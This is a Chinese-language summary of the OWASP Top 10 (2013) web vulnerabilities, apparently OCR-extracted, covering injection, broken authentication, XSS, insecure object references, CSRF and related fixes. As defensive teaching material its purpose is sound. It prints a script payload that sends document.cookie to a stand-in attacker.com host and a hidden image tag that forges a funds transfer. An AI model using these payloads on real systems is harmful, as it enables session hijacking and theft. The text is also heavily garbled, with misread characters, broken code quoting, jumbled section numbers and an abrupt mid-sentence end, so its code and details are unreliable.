WEB十大安全问题OWASPTOP10要点

1、WEB安全性测试1 . WEB安全漏洞12 .常见的10种安全漏洞（OWASPTOP10） 12.1 注入12.2 失效的身份认证和会话管理 22.3 跨站脚本（XSS） 42.4 直接引用不安全的对象 52.5 安全配置错误62.6 敏感信息泄漏72.7 缺少功能级访问控制 82.8 跨站请求伪造（CSRF） 92.9 使用含有已知漏洞的组件 112.10 未验证的重定向和转发 113 .Top10风险因素总结 134 .如何进行3证测试 134.1 代码审查134.2 安全测试135 .实际测试工作 错误！未定义书签。5.1 QA测试 错误！未定义书签。5.2 Local测试错误！未定义书

2、签。31. WE安全漏洞通常是指由于 WEB?序本身体系结构、设计方法、开发编码的缺陷而造成的 安全漏洞.2.常见的10种安全漏洞(OWASPTOP10 )每隔数年会更OWASPPf放 Web应用安全项目组-OpenWebApplicationSecurityProject)新10个最关键的 Web应用安全问题清单，即 OWASPTOP10OWASP Top 10-2013 (新版)A1 一注入A2 一失效的身份认证和会话管理A3 -跨站脚本(XSS)A4-不安全的直接对象引用-安全配置错误A6 敏感信息泄漏A7-功能级访问控制缺失A8一蹲站请求伪造(CSRF)A9-使用含有已知漏洞的组件A1

3、0 -未验证的重定向和转发2.1 注入2.1.1 描述注入攻击漏洞往往是应用程序缺少对输入进行安全性检查所引起的。攻击者把一些包含攻击代码当做命令或者查询语句发送给解释器，这些恶意数据可以欺骗解释器，从 而执行计划外的命令或者未授权访问数据。注入漏洞通常能在SQ查询、LDA潼询、OS命令、程序参数等中出现2.1.2 危害注入能导致数据丢失或数据破坏、缺乏可审计性或是拒绝服务。注入漏洞有时甚至 能导致完全接管主机。2.1.3 案例案例#L应用程序在下面存在漏洞的SQL语句的构造中使 用不可信数据：String query = "SELECT * FROM accounts WHERE

4、custlD=IH + request.getParameter(,id,") +;案例#2：同样的，框架应用的盲目信任，仍然可能导致查 询语句的漏洞口 (例如：Hibernate查询语言(HQL)： Query HQLQuery = session.createQuery(aFROM accounts WHERE custlD=M, + requestgetParameternid,') + """);在这两个案例中，攻击者在浏览器中将，升参数的值修改 成如:http/ or这样查询语句的意义就变成了从accounts表中返回所有的 记录.更危

5、险的攻击可能导致数据被篡改甚至是存储过程 被调用。2.1.4 解决方法使用安全的API,避免使用解释器 对输入的特殊字符进行 Escape转义处理 使用白名单来规范化的输入验证方法2.2 失效的身份认证和会话管理2.2.1 寸苗述与认证和会话管理相关的应用程序功能往往得不到正确管理，这就导致攻击者破坏密码、密匙、会话令牌或利用实施漏洞冒充其他用户身份。2.2.2 危害这些漏洞可能导致部分甚至全部帐户遭受攻击。一旦攻击成功，攻击者能执行合法用户的任何操作。因此特权帐户会造成更大的破坏。2.2.3 案例案伤性L:机票预订应用程序支持URL重写，把会话ID放在 U RLM: sessionid=2P

6、OOC2JDPXMOOQSNDLPSKHCJUN2JV?dest=Hawaii该网站一个经过认证的用户希望让他朋友知道这个机票打 折信息。他将上面链接通过邮件发给他朋友们，并不知道 自己已经泄漏了自己的会话1" 当他的朋友们使用上面 的链接时，他们将会使用他的会话和信用卡.应用程序超时设，=1不当口用户使用公共计算机访问网站.离开时，该用户没有点击退出，而是直接关闭浏览器。攻击者在一个小时后能使用相同浏览器通过身份认证。案例弟:内部或外部攻击者进入系统的密码数据库.存储 都底库中的用户密码没有被加密，所有用户的密码都被 攻击者获得。2.2.4 解决方法使用内置的会话管理功能。使用单一

7、的入口点。确保在一开始登录SSL呆护的网页。获取注销的权利；添加超时；确保你使用的是安全相关的功能； 使用强大的认证；不进行默认身份验证2.4直接引用不安全的对象2.3.1 寸苗述跨站脚本是最普遍的 web应用安全漏洞。当应用程序在发送给浏览器的页面中包含 用户提供的数据，但没有经过适当验证或转译，就会导致跨站脚本漏洞。目前常见的3中XSS漏洞：1）存储式；2）反射式；3）基于DOM。2.3.2 危害攻击者能在受害者浏览器中执行脚本以劫持用户会话、迫害网站、插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器等等。2.3.3 案例攻击案例应用程序在下面HTML代码段的构造中使用未经验证或转 义

8、的不可信的数据：（String） page += "input name="creditcard, type="TEXT/ value="1 + req uest tget Pa ra met er （"CC"） + IM>M;攻击者在浏览器中修改“CC”参数为如下值：,><script>documentJocation=,http:/www,attacker»com/cgi-bin/cookie,cgi?foo=1+document.cookie</script>,.这导致受害者的会话I

9、D被发送到攻击者的网站，使得攻 击者能够劫持用户当前会话.2.3.4 解决办法对所有不可信的输入数据进行恰当的转义escape使用白名单的具有恰当的规范化解码功能的输入验证方法使用内容安全策略（CSP）来抵御整个站点的攻击1.1.1 描述所谓"直接引用不安全的对象 "，即Insecure direct object references,意指一个已经授权 的用户，通过更改访问时的一个参数，从而访问到原本其并没有得到授权的对象。Web应用往往在生成Web页面时会用它的真实名字，且并不会对所有的目对象访问时来检查用户 权限，所以这就造成不安全的对象直接引用的漏洞。我们看如下的一

10、个示例，也许这样就更容易理解什么是不安全的对象直接引用。攻击者发现他自己的参数是 6065,即？acct=6065;他可以直接更改参数为6066,即?acct=6066;这样他就可以直接看到6066用户的账户信息。1.1.2 危害这种漏洞能损害参数所引用的所有数据。除非名字空间很稀疏， 否则攻击者很容易访问该类型的所有数据。1.1.3 案例攻击案例应用程序在访问帐户信息的SQL调用中使用未验证数据：String query = "SELECT * FROM accts WHERE account = ?n;PreparedStatement pstmt = connection

11、71;prepareStatement(querv, “J；pstmt.setStringfl, request-getparameter(HacctH);ResultSet results = pstmttexecuteQuery();攻击者能轻易在浏览器将"acct"参数修改成他所想要 的任何账户号码。如果应用程序没有进行恰当的验证，攻 击者就能访问任何用户的账户，而不仅仅是该目标用户的 账户。62.5.4解决办法使用基于用户或会话的间接对象访问 ，这样能防止攻击者直接攻击未授权资源 . 访问检查：对任何来自不受信源所使用的所有直接对象引用都进行访问控制检测，这样 才能

12、确保用户对要求的对象有访问权限 .2.5 安全配置错误2.5.1 寸苗述安全配置错误可以发生在一个应用程序堆栈的任何层面，包括平台、Web服务器、应用服务器、数据库、架构和自定义代码。攻击者通过访问默认账户、未使用的网页、未安装 补丁的漏洞、未被保护的文件和目录等，以获得对系统未授权的访问。2.5.2 危害系统可能在未知的情况下被完全攻破，用户数据可能随着时间推移而被全部盗走或者篡改。2.5.3 案例裹例r肛:应用程序服务器管理员控制台自动安装后没有 撕僚7而默认帐户也没有被改变口攻击者在你的服务器 上发现了标准的管理员页面，通过默认密码登录，从而接 管了你的服务器。骞例平:目录列表在你的服务

13、器上未被禁用。攻击者发 则需列出目录，她就可以找到你服务器上的任意文件。攻击者找到并下载所有已编译的Java类，她通过反编译获 得了所有你的自定义代码。然后，她在你的应用程序中找 到一个访问控制的严重漏洞。案例43：应用服务器配置允许堆栈跟踪返回给用户，这 样就暴露了潜在的漏洞。攻击者热衷于收集错误消息里提 供的额外信息。案例 超：应用服务器自带的示例应用程序没有从您的生 声版凉器中删除.该示例应用有已知安全漏洞，攻击者可 以利用这些漏洞破坏您的服务器。自动化安装部署，保证开发、QA、产品环境的配置尽量相同，减少部署一个新安全环境的耗费。及时了解并部署每个环境的软件更新和补丁信息使用提供有效分

14、离和安全性强大的应用程序架构实施漏洞扫描和安全审计，以帮助检查错误的配置或者未安装的补丁2.6 敏感信息泄漏2.6.1 寸苗述保护与加密敏感数据已经成为网络应用的最重要的组成部分。最常见的漏洞是应该进行加密的数据没有进行加密。使用加密的情况下常见问题是不安全的密钥和使用弱算法加密。2.6.2 危害攻击者能够盗取或篡改机密的或私有的信息攻击者通过这些秘密信息而进行下一步的攻击造成企业声誉破损，用户满意度下降，甚至会有法律诉讼等。82.6.3案例案例一个应用程序加密存储在数据库的信用卡信息,以防止信用卡信息暴露给最终用户。但是，数据库设置为 对信用卡表列的查询进行自动解密，这就使得SQL注入漏洞能

15、够获得所有信用卡信息的明文口该系统应该被设置为前端应用程序使用公钥对信用卡信息加密，后端应用程序只能使用私钥解密，京例#21一个网站上所有需要身份验证的网页都没有使 用SSL口攻击者只需监控网络数据流（比如一个开放的无 线网络或其社区的有线网络），并窃取一个己验证的受害 者的会话cookie口然后，攻击者利用这个cookie执行重放 攻击并接管用户的会话从而访问用户的隐私数据Q 案例43：密码数据库使用united的哈希算法去存储每个 人的密码。一个文件上传漏洞使黑客能够获取密码文件。 所有这些unsaid哈希的密码通过彩虹表暴力破解方式破 解。2.6.4 解决办法预测一些威胁，加密数据的存储

16、和传输尽快清除没有必要存放的重要的/敏感数据确保使用合适强大的标准算法和密钥，并且密钥管理到位确保使用密码专用算法存储密码禁用自动收集敏感数据，禁用包含敏感数据的页面缓存.2.7 缺少功能级访问控制2.7.1 描述有时功能级的保护是通过系统配置管理的，当系统配置错误时，开发人员必须做相应的代码检查，否则应用程序不能正确的保护页面请求。攻击者就是利用这种漏洞访问未经授权的功能模块。92.7.2 危害攻击者很容易就把网址改成享有特权的网页，这样就可以使用匿名或普通用户访问未受保护的私人页面，从而提升未授权功能和相关数据信息。2.7.3 案例案例1#：攻击者仅仅直接浏览目标网址口例如下面的两个 网址

17、都需要身份验证口同时访问“admin_getapplnfo"页面 还需要管理员权限。http: 如果未认证的用户可以访问上述任一页面，这就是漏洞。如果通过验证的非管理员用户也能允许访问“admin_getapplnfo"页面，这同样是个漏洞口这个漏洞可能会将攻击者引向更多保护不当的管理页面.案例2#： 一个页面提供了 “action”参数给某个特定的功 能调用，并且不同的操作需要不同的角色。如果没有进行 角色检查，这也是漏洞。2.7.4 解决办法检查管理权限的过程并确保能够容易进行升级和审计，切忌硬编码。默认缺省情况下，应该拒绝所有访问的执行权限。对于每个功能的访问， 需要

18、明确的角色授权。检查每个功能分配的权限合理有效。2.8 跨站请求伪造（CSRF ）2.8.1 描述跨站请求伪造CSRF,是利用了网站允许攻击者预测特定操作的所有细节这一特点。由 于浏览器自动发送会话 cookie等认证凭证，导致攻击者能够创建恶意的web页面来产生伪造请求。这些伪造的请求很难和合法的请求区分开。CSRF听起来像跨站脚本（XSS）,但它与XSS不同，并且攻击方式几乎相左。XSS禾1J用站点内的信任用户，而 CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。2.8.2 危害攻击者能够让受害用户修改任何允许修改的数据，执行任何用户允许的操作。例如修改密码、登陆注销等。2.8.

19、3 案例攻击案例应用程序允许用户提交不包含任何保密字段的状态改变请 求，如3http:/example,com/app/transferFunds?amount=1500 &destinationAccount=4673243243因此，攻击者构建一个请求，用于符受害用户账户中的现 金转移到自己账户。然后攻击者在其控制的多个网站的图 片请求或iframe中嵌入这种攻击日<imgsrc=,http:/examplexom/app/transferFu nds? amount=1500&destinationAccount=attackersAcct#/width'O

20、" height="OM />如果受害用户通过examp底8 m认证后访问任何一个攻击 者的网站，伪造的请求将自动包含用户的会话信息，授权 执行攻击者的请求口2.8.4 解决办法给每个HTTP请求添加一个不可预测的令牌， 并保证该令牌对每个用户会话来说是唯一性。最好的办法是将独有的令牌包含在隐藏字段中，通过HTTP请求发送，避免在URL中暴露出来。要求用户重新认证或者判断他们是一个真实的用户。112.9 使用含有已知漏洞的组件2.9.1 描述开发人员使用的组件也会含有漏洞，这些漏洞能够被自动化工具发现和利用。然后攻击者根据需要定制攻击代码并实施攻击。2.9.2 危害根

21、据漏洞的级别，严重的可能造成主机被完全接管和数据泄漏。2.9.3 案例Apach£XF头绕这一未能提供身份令牌的情况下, 攻击者可以以最高杈限调用任意的web服务。（Apache CXF是一小成多疮架，小耍与Apache应用服 务器混淆。）里山国旌釉红一滥用Spring中语言表达式的实 现先库攻岳箸城若在意代码,有效的接管服务器。每个使用上述两个任意一个库的应用程序，都是易于受到 攻击的.因为两个组件都会被应用用户直接访问。其他的 漏洞库，在应用程序中使用的越深入，可能越难被利用口2.9.4 解决办法标识正在使用的所有组件及其版本及时关注这些组件的安全信息并保证他们是最新的。建立使用

22、组件的安全策略，禁止使用未经安全评估的组件。在适当情况下，对组件进行安全封装，精简不必要的功能，封装易受攻击部分。2.10 未验证的重定向和转发2.10.1 寸苗述应用程序经常将用户重定向到其他网页，或以类似的方式进行内部转发。当目标网页是ii通过一个未验证的参数来指定时，就容易被攻击者利用。 攻击者通过诱使受害人去点击未经验证的重定向链接，从而利用不安全的转发绕过安全检测。2.10.2 危害攻击者通过重定向可以试图安装恶意软件或者诱使受害人泄露密码等敏感信息，通过转发可以绕过访问控制。2.10.3 案例案例应用程序有一个名为“redirect）印"的页面，该页面有一个参数名是"urPo攻击者精心制作一个恶意URL将用户重定向到一个恶意网站，执行钓鱼攻击并安装恶意程序°案例#2:应用程序使用转发在网站的不同部分之间发送 请求口为了帮助实现这一功能，如果一个交易